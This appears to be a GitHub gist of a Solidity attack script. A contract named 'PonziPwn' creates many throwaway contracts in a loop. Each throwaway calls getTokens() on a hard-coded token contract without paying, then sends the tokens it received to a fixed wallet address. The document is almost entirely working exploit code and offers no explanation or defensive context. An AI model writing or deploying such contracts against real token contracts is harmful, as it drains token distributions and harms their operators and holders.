Created
September 17, 2018 16:45
-
-
Save jin10086/b5a69791608ff3fb613e6372e4e9f177 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.25; | |
contract SccInterface { | |
function transfer(address _to, uint256 _amount) returns(bool success); | |
function balanceOf(address who) public constant returns (uint256); | |
function getTokens() payable external; | |
} | |
contract sunContract{ | |
constructor(){ | |
address sccaddress = 0x74fd51a98a4a1ecbef8cc43be801cce630e260bd; | |
SccInterface scc = SccInterface(sccaddress); | |
scc.getTokens.value(0 ether)(); | |
uint256 b = scc.balanceOf(address(this)); | |
scc.transfer(0xec1faad0ae9ad83279f99eed2cbff9f1c8dc4550,b); | |
} | |
} | |
contract PonziPwn { | |
function run(uint8 a) public { | |
for (uint8 i = 1;i<a;i++) { | |
new sunContract(); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment